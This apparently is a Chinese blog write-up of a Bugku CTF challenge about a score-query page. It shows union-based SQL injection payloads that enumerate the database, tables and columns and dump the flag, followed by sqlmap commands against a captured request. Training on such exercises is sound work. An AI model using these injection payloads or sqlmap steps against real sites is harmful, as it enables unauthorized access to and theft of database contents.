试题地址:
http://40.125.170.89:49164/index.php
成绩查询
| Math | English | Chinese |
|---|---|---|
| 60 | 60 | 70 |
方法一:常规方法
进入这道题目 我们先手遍历一遍 id=-1' union select 1,2,3,4#
发现有四个表且都有回显
于是 就开始爆破吧
通过id=-1' union select 1,2,3,database()#得到数据库名字skctf_flag
之后通过 id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名fl4g,sc
很显然我们需要的数据在fl4g这个表里
接下来我们就要暴字段了
通过id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c3467#
得到字段skctf_flag
最后我们就可以开始查询数据了
通过id=-1' union select 1,2,3,skctf_flag from fl4g#
得到BUGKU{Sql_INJECT0N_4813drd8hz4}
方法二:SQLMap进行查询测试
1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下

2.依次执行如下命令,得到最终的结果:
sqlmap.py -r C:\Users\ICBC\Desktop\post.txt //判断是否存在SQL注入漏洞
sqlmap.py -r C:\Users\ICBC\Desktop\post.txt --current-db //查询当前数据库
sqlmap.py -r C:\Users\ICBC\Desktop\post.txt -D skctf --tables //查询**数据库有哪些数据表
sqlmap.py -r C:\Users\ICBC\Desktop\post.txt -D skctf -T fl4g --columns //查询**数据库**数据表有哪些列
sqlmap.py -r C:\Users\ICBC\Desktop\post.txt -D skctf -T fl4g C skctf_flag --dump //查询**数据库**数据表**列的内容
CTF成绩查询SQL注入解题方法
博客围绕CTF成绩查询试题,介绍了两种解题方法。常规方法通过遍历、爆破,利用SQL语句获取数据库名、表名、字段名及数据;还介绍了用SQLMap进行查询测试,包括抓包保存,执行系列命令判断注入漏洞、查询数据库、表、列及内容。
1654





